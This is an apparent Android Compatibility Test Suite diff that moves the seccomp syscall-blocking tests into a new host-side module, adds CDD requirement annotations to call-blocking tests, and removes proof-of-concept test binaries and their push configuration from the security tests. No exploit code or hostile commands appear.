+TrEoMWMf7hQmoOSqaSJ+VFuVms/kPSEh99okDgHCej6rsEkEcDoh6pJajQyUYDwR
+SNAF8SrqCDhqFbZW/LWedvuikCUlNtzuv7/GrcLcsiWEfHv7UOBKpMjLo9BhD1XF
+IefnxImcBQrQGMnE9TLixBiEeX5yauLgbZuxBqD/zsI2TH1FjxTeuJan83kLbqqH
+FgyvPaUjwckAdQPyom7ZUYFnBc0LQ9xzAgMBAAGjUzBRMB0GA1UdDgQWBBRZrBEw
+tAB2WNXj8dQ7ZOuJ34kY5DAfBgNVHSMEGDAWgBRZrBEwtAB2WNXj8dQ7ZOuJ34kY
+5DAPBgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBCwUAA4IBAQDeI9AnLW6l/39y
+z96w/ldxZVFPzBRiFIsJsPHVyXlD5vUHZv/ju2jFn8TZSZR5TK0bzCEoVLp34Sho
+bbS0magP82yIvCRibyoyD+TDNnZkNJwjYnikE+/oyshTSQtpkn/rDA+0Y09BUC1E
+N2I6bV9pTXLFg7oah2FmqPRPzhgeYUKENgOQkrrjUCn6y0i/k374n7aftzdniSIz
+2kCRVEeN9gws6CnoMPx0vr32v/JVuPV6zfdJYadgj/eFRyTNE4msd9kE82Wc46eU
+YiI+LuXZ3ZMUNWGY7MK2pOUUS52JsBQ3K235dA5WaU4x8OBlY/WkNYX/eLbNs5jj
+FzLmhZZ1
+-----END CERTIFICATE-----
diff --git a/hostsidetests/numberblocking/app/Android.mk b/hostsidetests/numberblocking/app/Android.mk
index cfbccbe..50c741a 100644
--- a/hostsidetests/numberblocking/app/Android.mk
+++ b/hostsidetests/numberblocking/app/Android.mk
@@ -27,7 +27,7 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test legacy-android-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test legacy-android-test compatibility-device-util
 
 # tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
diff --git a/hostsidetests/numberblocking/app/src/com/android/cts/numberblocking/hostside/CallBlockingTest.java b/hostsidetests/numberblocking/app/src/com/android/cts/numberblocking/hostside/CallBlockingTest.java
index 674dab2..c23ba84 100644
--- a/hostsidetests/numberblocking/app/src/com/android/cts/numberblocking/hostside/CallBlockingTest.java
+++ b/hostsidetests/numberblocking/app/src/com/android/cts/numberblocking/hostside/CallBlockingTest.java
@@ -29,6 +29,8 @@
 import android.telecom.PhoneAccountHandle;
 import android.telecom.TelecomManager;
 
+import com.android.compatibility.common.util.CddTest;
+
 import java.util.Arrays;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
@@ -36,6 +38,7 @@
 /**
  * Tests call blocking in a multi-user environment.
  */
+@CddTest(requirement="7.4.1.1/C-1-1")
 public class CallBlockingTest extends BaseNumberBlockingClientTest {
     private static final String QUERY_CALL_THROUGH_OUR_CONNECTION_SERVICE = CallLog.Calls.NUMBER
             + " = ? AND " + CallLog.Calls.PHONE_ACCOUNT_COMPONENT_NAME + " = ?";
@@ -65,6 +68,7 @@
         assertNull(mTelecomManager.getPhoneAccount(getPhoneAccountHandle()));
     }
 
+    @CddTest(requirement="7.4.1.1/C-1-3,C-1-4")
     public void testIncomingCallFromBlockedNumberIsRejected() throws Exception {
         // Make sure no lingering values from previous runs.
         cleanupCall(false /* verifyNoCallLogsWritten */);
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8412/Android.mk b/hostsidetests/seccomp/Android.mk
similarity index 62%
rename from hostsidetests/security/securityPatch/CVE-2016-8412/Android.mk
rename to hostsidetests/seccomp/Android.mk
index 5b86c1f..2c1c077 100644
--- a/hostsidetests/security/securityPatch/CVE-2016-8412/Android.mk
+++ b/hostsidetests/seccomp/Android.mk
@@ -1,4 +1,4 @@
-# Copyright (C) 2016 The Android Open Source Project
+# Copyright (C) 2017 The Android Open Source Project
 #
 # Licensed under the Apache License, Version 2.0 (the "License");
 # you may not use this file except in compliance with the License.
@@ -15,16 +15,18 @@
 LOCAL_PATH := $(call my-dir)
 
 include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-8412
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
 
-# Tag this module as a cts test artifact
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_MODULE_TAGS := tests
+
+# tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
-LOCAL_ARM_MODE := arm
-LOCAL_LDFLAGS += -fPIE -pie
-include $(BUILD_CTS_EXECUTABLE)
+LOCAL_MODULE := CtsSeccompHostTestCases
+
+LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
+
+include $(BUILD_HOST_JAVA_LIBRARY)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/seccomp/AndroidTest.xml b/hostsidetests/seccomp/AndroidTest.xml
new file mode 100644
index 0000000..cbfd1c4
--- /dev/null
+++ b/hostsidetests/seccomp/AndroidTest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Sseccomp host test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="misc" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsSeccompDeviceApp.apk" />
+    </target_preparer>
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsSeccompHostTestCases.jar" />
+    </test>
+</configuration>
diff --git a/hostsidetests/seccomp/app/Android.mk b/hostsidetests/seccomp/app/Android.mk
new file mode 100644
index 0000000..726e64b
--- /dev/null
+++ b/hostsidetests/seccomp/app/Android.mk
@@ -0,0 +1,56 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Don't include this package in any target
+LOCAL_MODULE_TAGS := tests
+
+# When built, explicitly put it in the data partition.
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+# Include both the 32 and 64 bit versions
+LOCAL_MULTILIB := both
+
+LOCAL_DEX_PREOPT := false
+
+LOCAL_PROGUARD_ENABLED := disabled
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+          android-support-test \
+          compatibility-device-util \
+
+LOCAL_JNI_SHARED_LIBRARIES := \
+          libctsseccomp_jni \
+          libcts_jni \
+          libnativehelper_compat_libc++ \
+          libnativehelper \
+          libcutils \
+          libc++ \
+          libpackagelistparser \
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_PACKAGE_NAME := CtsSeccompDeviceApp
+
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_PACKAGE)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/seccomp/app/AndroidManifest.xml b/hostsidetests/seccomp/app/AndroidManifest.xml
new file mode 100644
index 0000000..b8e97e3
--- /dev/null
+++ b/hostsidetests/seccomp/app/AndroidManifest.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.seccomp.cts.app">
+
+    <application>
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.seccomp.cts.app" />
+
+</manifest>
diff --git a/hostsidetests/seccomp/app/jni/Android.mk b/hostsidetests/seccomp/app/jni/Android.mk
new file mode 100644
index 0000000..a0604a1
--- /dev/null
+++ b/hostsidetests/seccomp/app/jni/Android.mk
@@ -0,0 +1,41 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := libctsseccomp_jni
+
+# Don't include this package in any configuration by default.
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_SRC_FILES := \
+		CtsSeccompJniOnLoad.cpp \
+		android_seccomp_cts_app_SeccompDeviceTest.cpp \
+
+LOCAL_SHARED_LIBRARIES := \
+		libnativehelper \
+		liblog \
+		libcutils \
+		libc++ \
+		libpackagelistparser \
+
+
+LOCAL_C_INCLUDES += ndk/sources/cpufeatures
+LOCAL_STATIC_LIBRARIES := cpufeatures
+
+LOCAL_CFLAGS := -Wall -Werror
+
+include $(BUILD_SHARED_LIBRARY)
diff --git a/hostsidetests/seccomp/app/jni/CtsSeccompJniOnLoad.cpp b/hostsidetests/seccomp/app/jni/CtsSeccompJniOnLoad.cpp
new file mode 100644
index 0000000..928b8c5
--- /dev/null
+++ b/hostsidetests/seccomp/app/jni/CtsSeccompJniOnLoad.cpp
@@ -0,0 +1,34 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <jni.h>
+#include <stdio.h>
+
+extern int register_android_seccomp_cts_app_SeccompTest(JNIEnv*);
+
+jint JNI_OnLoad(JavaVM *vm, void * /*reserved*/) {
+    JNIEnv *env = NULL;
+
+    if (vm->GetEnv((void **) &env, JNI_VERSION_1_4) != JNI_OK) {
+        return JNI_ERR;
+    }
+
+    if (register_android_seccomp_cts_app_SeccompTest(env)) {
+        return JNI_ERR;
+    }
+
+    return JNI_VERSION_1_4;
+}
diff --git a/tests/tests/security/jni/android_security_cts_SeccompTest.cpp b/hostsidetests/seccomp/app/jni/android_seccomp_cts_app_SeccompDeviceTest.cpp
similarity index 91%
rename from tests/tests/security/jni/android_security_cts_SeccompTest.cpp
rename to hostsidetests/seccomp/app/jni/android_seccomp_cts_app_SeccompDeviceTest.cpp
index ee36cdd..de82b44 100644
--- a/tests/tests/security/jni/android_security_cts_SeccompTest.cpp
+++ b/hostsidetests/seccomp/app/jni/android_seccomp_cts_app_SeccompDeviceTest.cpp
@@ -36,7 +36,7 @@
     int pid = fork();
     if (pid == 0) {
         ALOGI("Calling syscall %d", nr);
-        int ret = syscall(nr);
+        syscall(nr);
         return false;
     } else {
         int status;
@@ -72,9 +72,9 @@
             (void*) testSyscallBlocked },
 };
 
-int register_android_security_cts_SeccompTest(JNIEnv* env)
+int register_android_seccomp_cts_app_SeccompTest(JNIEnv* env)
 {
-    jclass clazz = env->FindClass("android/security/cts/SeccompTest");
+    jclass clazz = env->FindClass("android/seccomp/cts/app/SeccompDeviceTest");
 
     return env->RegisterNatives(clazz, gMethods,
             sizeof(gMethods) / sizeof(JNINativeMethod));
diff --git a/tests/tests/security/src/android/security/cts/SeccompTest.java b/hostsidetests/seccomp/app/src/android/seccomp/cts/app/SeccompDeviceTest.java
similarity index 81%
rename from tests/tests/security/src/android/security/cts/SeccompTest.java
rename to hostsidetests/seccomp/app/src/android/seccomp/cts/app/SeccompDeviceTest.java
index 745aa87..2a7bcb3 100644
--- a/tests/tests/security/src/android/security/cts/SeccompTest.java
+++ b/hostsidetests/seccomp/app/src/android/seccomp/cts/app/SeccompDeviceTest.java
@@ -14,23 +14,28 @@
  * limitations under the License.
  */
 
-package android.security.cts;
+package android.seccomp.cts.app;
 
-import android.test.AndroidTestCase;
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Assume;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
+import android.support.test.runner.AndroidJUnit4;
 import com.android.compatibility.common.util.CpuFeatures;
 
-import junit.framework.TestCase;
-
 /**
- * Verify that the seccomp policy is enforced
+ * Device-side tests for CtsSeccompHostTestCases
  */
-public class SeccompTest extends AndroidTestCase {
-
+@RunWith(AndroidJUnit4.class)
+public class SeccompDeviceTest {
     static {
-        System.loadLibrary("ctssecurity_jni");
+        System.loadLibrary("ctsseccomp_jni");
     }
 
+    @Test
     public void testCTSSyscallBlocked() {
         if (CpuFeatures.isArm64Cpu()) {
             testBlocked(217); // __NR_add_key
@@ -63,10 +68,11 @@
             testBlocked(4282); // __NR_keyctl
             testAllowed(4288); // __NR_openat
         } else {
-            fail("Unsupported OS");
+            Assert.fail("Unsupported OS");
         }
     }
 
+    @Test
     public void testCTSSwapOnOffBlocked() {
         if (CpuFeatures.isArm64Cpu()) {
             testBlocked(224); // __NR_swapon
@@ -87,16 +93,16 @@
             testBlocked(4087); // __NR_swapon
             testBlocked(4115); // __NR_swapoff
         } else {
-            fail("Unsupported OS");
+            Assert.fail("Unsupported OS");
         }
     }
 
     private void testBlocked(int nr) {
-        assertTrue("Syscall " + nr + " allowed", testSyscallBlocked(nr));
+        Assert.assertTrue("Syscall " + nr + " not blocked", testSyscallBlocked(nr));
     }
 
     private void testAllowed(int nr) {
-        assertFalse("Syscall " + nr + " blocked", testSyscallBlocked(nr));
+        Assert.assertFalse("Syscall " + nr + " blocked", testSyscallBlocked(nr));
     }
 
     private static final native boolean testSyscallBlocked(int nr);
diff --git a/hostsidetests/seccomp/src/android/seccomp/cts/SeccompHostJUnit4DeviceTest.java b/hostsidetests/seccomp/src/android/seccomp/cts/SeccompHostJUnit4DeviceTest.java
new file mode 100644
index 0000000..1ee8fff
--- /dev/null
+++ b/hostsidetests/seccomp/src/android/seccomp/cts/SeccompHostJUnit4DeviceTest.java
@@ -0,0 +1,65 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.seccomp.cts;
+
+import com.android.compatibility.common.tradefed.testtype.CompatibilityHostTestBase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Test that collects test results from test package android.seccomp.cts.app.
+ *
+ * When this test builds, it also builds a support APK containing
+ * {@link android.seccomp.cts.app.SeccompDeviceTest}, the results of which are
+ * collected from the hostside and reported accordingly.
+ */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class SeccompHostJUnit4DeviceTest extends CompatibilityHostTestBase {
+
+    private static final String TEST_PKG = "android.seccomp.cts.app";
+    private static final String TEST_CLASS = TEST_PKG + "." + "SeccompDeviceTest";
+    private static final String TEST_APP = "CtsSeccompDeviceApp.apk";
+
+    private static final String TEST_CTS_SYSCALL_BLOCKED = "testCTSSyscallBlocked";
+    private static final String TEST_CTS_SWAP_ON_OFF_BLOCKED = "testCTSSwapOnOffBlocked";
+
+    @Before
+    public void setUp() throws Exception {
+        installPackage(TEST_APP);
+    }
+
+    @Test
+    public void testCTSSyscallBlocked() throws Exception {
+        Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, TEST_CTS_SYSCALL_BLOCKED));
+    }
+
+    @Test
+    public void testCTSSwapOnOffBlocked() throws Exception {
+        Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, TEST_CTS_SWAP_ON_OFF_BLOCKED));
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        uninstallPackage(TEST_PKG);
+    }
+
+}
diff --git a/hostsidetests/security/Android.mk b/hostsidetests/security/Android.mk
index f209153..0b72318 100644
--- a/hostsidetests/security/Android.mk
+++ b/hostsidetests/security/Android.mk
@@ -18,8 +18,6 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-LOCAL_JAVA_RESOURCE_DIRS := res
-
 LOCAL_MODULE_TAGS := optional
 
 # tag this module as a cts test artifact
diff --git a/hostsidetests/security/AndroidTest.xml b/hostsidetests/security/AndroidTest.xml
index d4cf524..676e898 100644
--- a/hostsidetests/security/AndroidTest.xml
+++ b/hostsidetests/security/AndroidTest.xml
@@ -15,166 +15,6 @@
 -->
 <configuration description="Config for the CTS Security host tests">
     <option name="config-descriptor:metadata" key="component" value="security" />
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
-        <option name="cleanup" value="true" />
-        <option name="push" value="CVE-2016-8412->/data/local/tmp/CVE-2016-8412" />
-        <option name="push" value="CVE-2016-8444->/data/local/tmp/CVE-2016-8444" />
-        <option name="push" value="CVE-2016-8448->/data/local/tmp/CVE-2016-8448" />
-        <option name="push" value="CVE-2016-8449->/data/local/tmp/CVE-2016-8449" />
-        <option name="push" value="CVE-2016-8460->/data/local/tmp/CVE-2016-8460" />
-        <option name="push" value="CVE-2017-0403->/data/local/tmp/CVE-2017-0403" />
-        <option name="push" value="CVE-2017-0404->/data/local/tmp/CVE-2017-0404" />
-        <option name="push" value="CVE-2016-8482->/data/local/tmp/CVE-2016-8482" />
-        <option name="push" value="CVE-2017-0429->/data/local/tmp/CVE-2017-0429" />
-        <option name="push" value="CVE-2016-6730->/data/local/tmp/CVE-2016-6730" />
-        <option name="push" value="CVE-2016-6731->/data/local/tmp/CVE-2016-6731" />
-        <option name="push" value="CVE-2016-6732->/data/local/tmp/CVE-2016-6732" />
-        <option name="push" value="CVE-2016-6733->/data/local/tmp/CVE-2016-6733" />
-        <option name="push" value="CVE-2016-6734->/data/local/tmp/CVE-2016-6734" />
-        <option name="push" value="CVE-2016-6735->/data/local/tmp/CVE-2016-6735" />
-        <option name="push" value="CVE-2016-6736->/data/local/tmp/CVE-2016-6736" />
-        <option name="push" value="CVE-2016-8424->/data/local/tmp/CVE-2016-8424" />
-        <option name="push" value="CVE-2016-8425->/data/local/tmp/CVE-2016-8425" />
-        <option name="push" value="CVE-2016-8426->/data/local/tmp/CVE-2016-8426" />
-        <option name="push" value="CVE-2016-8427->/data/local/tmp/CVE-2016-8427" />
-        <option name="push" value="CVE-2016-8428->/data/local/tmp/CVE-2016-8428" />
-        <option name="push" value="CVE-2016-8429->/data/local/tmp/CVE-2016-8429" />
-        <option name="push" value="CVE-2016-8430->/data/local/tmp/CVE-2016-8430" />
-        <option name="push" value="CVE-2016-8431->/data/local/tmp/CVE-2016-8431" />
-        <option name="push" value="CVE-2016-8432->/data/local/tmp/CVE-2016-8432" />
-        <option name="push" value="CVE-2016-8434->/data/local/tmp/CVE-2016-8434" />
-        <option name="push" value="CVE-2016-8435->/data/local/tmp/CVE-2016-8435" />
-        <option name="push" value="CVE-2016-9120->/data/local/tmp/CVE-2016-9120" />
-        <option name="push" value="Bug-34328139->/data/local/tmp/Bug-34328139" />
-        <option name="push" value="Bug-33452365->/data/local/tmp/Bug-33452365" />
-        <option name="push" value="CVE-2017-0451->/data/local/tmp/CVE-2017-0451" />
-        <option name="push" value="CVE-2017-0580->/data/local/tmp/CVE-2017-0580" />
-        <option name="push" value="CVE-2017-0462->/data/local/tmp/CVE-2017-0462" />
-        <option name="push" value="CVE-2017-0579->/data/local/tmp/CVE-2017-0579" />
-        <option name="push" value="CVE-2017-0577->/data/local/tmp/CVE-2017-0577" />
-        <option name="push" value="CVE-2016-10231->/data/local/tmp/CVE-2016-10231" />
-        <option name="push" value="CVE-2017-0564->/data/local/tmp/CVE-2017-0564" />
-        <option name="push" value="CVE-2017-7369->/data/local/tmp/CVE-2017-7369" />
-        <option name="push" value="CVE-2017-0576->/data/local/tmp/CVE-2017-0576" />
-        <option name="push" value="CVE-2017-0586->/data/local/tmp/CVE-2017-0586" />
-        <option name="push" value="CVE-2017-0705->/data/local/tmp/CVE-2017-0705" />
-        <option name="push" value="CVE-2017-8263->/data/local/tmp/CVE-2017-8263" />
-        <!--__________________-->
-        <!-- Bulletin 2017-01 -->
-        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-
-        <option name="push" value="CVE-2016-8457->/data/local/tmp/CVE-2016-8457" />
-        <option name="push" value="CVE-2016-8456->/data/local/tmp/CVE-2016-8456" />
-        <option name="push" value="CVE-2016-8455->/data/local/tmp/CVE-2016-8455" />
-
-        <!--__________________-->
-        <!-- Bulletin 2017-02 -->
-        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-        <option name="push" value="CVE-2016-8420->/data/local/tmp/CVE-2016-8420" />
-        <option name="push" value="CVE-2016-8476->/data/local/tmp/CVE-2016-8476" />
-        <option name="push" value="CVE-2017-0441->/data/local/tmp/CVE-2017-0441" />
-        <option name="push" value="CVE-2017-0438->/data/local/tmp/CVE-2017-0438" />
-        <option name="push" value="CVE-2016-8481->/data/local/tmp/CVE-2016-8481" />
-        <option name="push" value="CVE-2017-0436->/data/local/tmp/CVE-2017-0436" />
-        <option name="push" value="CVE-2017-0445->/data/local/tmp/CVE-2017-0445" />
-        <option name="push" value="CVE-2017-0437->/data/local/tmp/CVE-2017-0437" />
-
-        <!--__________________-->
-        <!-- Bulletin 2017-03 -->
-        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-
-        <option name="push" value="CVE-2017-0453->/data/local/tmp/CVE-2017-0453" />
-        <option name="push" value="CVE-2016-8479->/data/local/tmp/CVE-2016-8479" />
-        <option name="push" value="CVE-2017-0508->/data/local/tmp/CVE-2017-0508" />
-        <option name="push" value="CVE-2017-0333->/data/local/tmp/CVE-2017-0333" />
-        <option name="push" value="CVE-2017-0463->/data/local/tmp/CVE-2017-0463" />
-        <option name="push" value="CVE-2017-0519->/data/local/tmp/CVE-2017-0519" />
-        <option name="push" value="CVE-2017-0520->/data/local/tmp/CVE-2017-0520" />
-        <option name="push" value="CVE-2017-0457->/data/local/tmp/CVE-2017-0457" />
-        <option name="push" value="CVE-2017-0460->/data/local/tmp/CVE-2017-0460" />
-        <option name="push" value="CVE-2017-0456->/data/local/tmp/CVE-2017-0456" />
-        <option name="push" value="CVE-2017-0521->/data/local/tmp/CVE-2017-0521" />
-
-        <!--__________________-->
-        <!-- Bulletin 2017-04 -->
-        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-
-        <option name="push" value="CVE-2017-0545->/data/local/tmp/CVE-2017-0545" />
-        <option name="push" value="Bug-32551280->/data/local/tmp/Bug-32551280" />
-
-        <!--__________________-->
-        <!-- Bulletin 2017-05 -->
-        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-
-        <option name="push" value="CVE-2016-10283->/data/local/tmp/CVE-2016-10283" />
-        <option name="push" value="CVE-2017-0624->/data/local/tmp/CVE-2017-0624" />
-        <option name="push" value="CVE-2016-10288->/data/local/tmp/CVE-2016-10288" />
-        <option name="push" value="CVE-2017-0465->/data/local/tmp/CVE-2017-0465" />
-        <option name="push" value="CVE-2016-10289->/data/local/tmp/CVE-2016-10289" />
-        <option name="push" value="CVE-2016-10290->/data/local/tmp/CVE-2016-10290" />
-
-        <!--__________________-->
-        <!-- Bulletin 2017-06 -->
-        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-
-        <option name="push" value="Bug-35047780->/data/local/tmp/Bug-35047780" />
-        <option name="push" value="Bug-35047217->/data/local/tmp/Bug-35047217" />
-        <option name="push" value="Bug-35048450->/data/local/tmp/Bug-35048450" />
-        <option name="push" value="Bug-35644815->/data/local/tmp/Bug-35644815" />
-        <option name="push" value="Bug-35216793->/data/local/tmp/Bug-35216793" />
-
-        <!--__________________-->
-        <!-- Bulletin 2017-07 -->
-        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-
-        <option name="push" value="Bug-33863407->/data/local/tmp/Bug-33863407" />
-        <option name="push" value="Bug-34173755->/data/local/tmp/Bug-34173755" />
-        <option name="push" value="Bug-35950388->/data/local/tmp/Bug-35950388" />
-        <option name="push" value="Bug-34624155->/data/local/tmp/Bug-34624155" />
-        <option name="push" value="Bug-33299365->/data/local/tmp/Bug-33299365" />
-        <option name="push" value="Bug-35950805->/data/local/tmp/Bug-35950805" />
-        <option name="push" value="Bug-35139833->/data/local/tmp/Bug-35139833" />
-        <option name="push" value="Bug-35468048->/data/local/tmp/Bug-35468048" />
-
-        <!--__________________-->
-        <!-- Bulletin 2017-08 -->
-        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-
-        <option name="push" value="Bug-36266767->/data/local/tmp/Bug-36266767" />
-        <option name="push" value="Bug-36591162->/data/local/tmp/Bug-36591162" />
-        <option name="push" value="CVE-2017-9678->/data/local/tmp/CVE-2017-9678" />
-        <option name="push" value="CVE-2017-9692->/data/local/tmp/CVE-2017-9692" />
-        <option name="push" value="Bug-35764875->/data/local/tmp/Bug-35764875" />
-        <option name="push" value="Bug-35644510->/data/local/tmp/Bug-35644510" />
-        <option name="push" value="CVE-2017-9680->/data/local/tmp/CVE-2017-9680" />
-        <option name="push" value="Bug-36818198->/data/local/tmp/Bug-36818198" />
-
-        <!--__________________-->
-        <!-- Bulletin 2017-09 -->
-        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-
-        <option name="push" value="Bug-33039685->/data/local/tmp/Bug-33039685" />
-        <option name="push" value="Bug-35676417->/data/local/tmp/Bug-35676417" />
-        <option name="push" value="Bug-35644812->/data/local/tmp/Bug-35644812" />
-        <option name="push" value="Bug-36492827->/data/local/tmp/Bug-36492827" />
-
-        <!--__________________-->
-        <!-- Bulletin 2017-10 -->
-        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-
-        <option name="push" value="Bug-62058746->/data/local/tmp/Bug-62058746" />
-        <option name="push" value="Bug-37093119->/data/local/tmp/Bug-37093119" />
-        <option name="push" value="Bug-36817053->/data/local/tmp/Bug-36817053" />
-        <option name="push" value="Bug-36730104->/data/local/tmp/Bug-36730104" />
-
-        <!--__________________-->
-        <!-- Bulletin 2017-11 -->
-        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-
-        <option name="push" value="CVE-2017-6264->/data/local/tmp/CVE-2017-6264" />
-
-        <option name="append-bitness" value="true" />
-    </target_preparer>
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsSecurityHostTestCases.jar" />
         <option name="runtime-hint" value="32s" />
diff --git a/hostsidetests/security/res/add-debug.apk b/hostsidetests/security/res/add-debug.apk
deleted file mode 100644
index dff9cb6..0000000
--- a/hostsidetests/security/res/add-debug.apk
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/security/res/crash_mod.apk b/hostsidetests/security/res/crash_mod.apk
deleted file mode 100644
index 4991294..0000000
--- a/hostsidetests/security/res/crash_mod.apk
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/security/res/poc b/hostsidetests/security/res/poc
deleted file mode 100644
index 8b6f012..0000000
--- a/hostsidetests/security/res/poc
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/security/res/test-case b/hostsidetests/security/res/test-case
deleted file mode 100644
index bac4af1..0000000
--- a/hostsidetests/security/res/test-case
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/security/securityPatch/Bug-32551280/Android.mk b/hostsidetests/security/securityPatch/Bug-32551280/Android.mk
deleted file mode 100644
index df388cd..0000000
--- a/hostsidetests/security/securityPatch/Bug-32551280/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
